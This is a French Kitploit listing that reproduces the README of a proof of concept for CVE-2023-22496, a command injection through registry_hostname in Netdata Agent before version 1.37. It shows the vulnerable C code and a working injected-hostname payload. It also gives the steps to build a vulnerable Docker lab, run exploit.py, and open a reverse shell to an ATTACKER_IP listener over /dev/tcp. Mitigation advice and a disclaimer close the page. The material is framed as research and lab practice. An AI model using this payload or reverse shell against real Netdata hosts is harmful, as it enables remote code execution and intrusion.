Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-22496-PoC — PoC pour CVE-2023-22496 : Netdata Agent <1.37 Injection de commandes OS via registry_hostname | Kitploit
Outils/GitHubGitHub/jstjep00/cve-2023-22496-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCommandement et ContrôleApprentissage et ÉducationLabs et Pratique
GitHubjstjep00/cve-2023-22496-poc

CVE-2023-22496-PoC

PoC pour CVE-2023-22496 : Netdata Agent <1.37 Injection de commandes OS via registry_hostname

Voir le dépôt
13il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-22496 — Preuve de concept d'injection de commandes OS dans Netdata Agent

Sévérité: Critique (CVSS 9.8)
Affecté: Netdata Agent < 1.37.0
Corrigé dans: v1.37.0
Type: Injection de commandes OS (CWE-78)


Aperçu

CVE-2023-22496 est une vulnérabilité d'injection de commandes OS dans le système de notification d'alarmes santé de Netdata. Le registry_hostname de n'importe quel nœud dans une chaîne de streaming est inséré dans une commande shell sans assainissement. Un attaquant qui peut définir registry hostname dans un fichier de configuration Netdata obtient l'exécution de code à distance en tant qu'utilisateur du processus netdata sur tout nœud parent qui traite l'alarme.


Détails de la vulnérabilité

Code vulnérable —

health/health.c
root@kitploit:~
static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

spawn_enq_cmd transmet la chaîne à /bin/sh -c, qui l'évalue comme un shell. Étant donné que registry_hostname n'est jamais assaini, un attaquant peut injecter des commandes shell arbitraires.

Contournement : remplacement de processus exec

L'injection naïve `'; cmd; '` ne fonctionne pas car la commande interne exec du shell remplace le processus shell actuel, donc le ;cmd; injecté n'est jamais atteint.

Contournement fonctionnel — utiliser & (opérateur d'arrière-plan) :

root@kitploit:~
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

Chaîne d'attaque par streaming

root@kitploit:~
┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (attacker)  │          │  (relay)     │          │   (victim / target)  │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

L'attaquant a seulement besoin de contrôler n'importe quel nœud dans la chaîne de streaming. Le registry_hostname est propagé dans le protocole de streaming et utilisé textuellement par chaque nœud parent lorsqu'il appelle health_alarm_execute.


Structure du dépôt

root@kitploit:~
CVE-2023-22496-PoC/
├── Dockerfile              # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml     # 3-node vulnerable streaming environment
├── exploit.py              # Standalone exploit script
├── config/
│   ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│   ├── parent_stream.conf  # Parent accepts streams + evaluates health
│   ├── parent_guid         # Fixed node GUID
│   ├── middle_netdata.conf # Middle relay config
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Child sender config
│   ├── child_stream.conf
│   └── child_guid
└── README.md

Démarrage rapide

Prérequis

  • Docker ≥ 20.10
  • Docker Compose v2 (docker compose)
  • Python 3.8+
  • ~500 Mo de disque (construction de l'image)
  • Accès Internet pour la construction Docker (télécharge les sources Netdata v1.36.1)

Étape 1 — Construire l'image Docker vulnérable

root@kitploit:~
git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

Étape 2 — Démarrer l'environnement vulnérable à 3 nœuds

root@kitploit:~
docker compose up -d

Attendez environ 15 secondes que Netdata s'initialise, puis vérifiez :

root@kitploit:~
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

Étape 3 — Exécuter l'exploit

root@kitploit:~
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

Sortie attendue :

root@kitploit:~
======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Commande shell : 'touch /tmp/pwned'
  Hôte injecté : "x' & touch /tmp/pwned & #"

[*] Pré-vol : vérification de l'environnement Docker
  [*] Les 3 conteneurs sont en cours d'exécution.

[*] Étape 1 : Écriture du fichier netdata.conf injecté pour agent_parent
    Écrit : config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Étape 2 : Redémarrage de agent_parent pour charger la configuration injectée
    ...
    agent_parent est opérationnel et répond.

[*] Étape 3 : Attente de 65 secondes pour une alarme WARNING disk_space

[*] Étape 4 : Vérification de la preuve d'exécution de commande

======================================================================
  ✅  SUCCÈS — CVE-2023-22496 CONFIRMÉ
  '/tmp/pwned' existe sur agent_parent
======================================================================

Exemple de shell inversé

root@kitploit:~
# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Commande personnalisée

root@kitploit:~
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

Démontage

root@kitploit:~
# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1

Atténuation

ActionDetail
Mise à niveauMettez à jour Netdata Agent vers ≥ v1.37.0
RestreindreRestreignez l'accès en écriture à netdata.conf
RéseauIsolez les ports de streaming (19999/tcp) uniquement vers des réseaux de confiance
Vérifiernetdata --version — confirmez que vous n'êtes pas sur une version antérieure à 1.37

Le correctif dans v1.37.0 assainit registry_hostname en rejetant tout caractère en dehors de [a-zA-Z0-9._-] avant de l'insérer dans la commande shell.


Références

  • NVD — CVE-2023-22496
  • Avis de sécurité GitHub GHSA-qxg7-jvq3-7x6h
  • Commit de correction Netdata
  • Version Netdata v1.37.0

Avertissement

Ce dépôt est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. L'exécution de cette PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.

Télécharger l’outil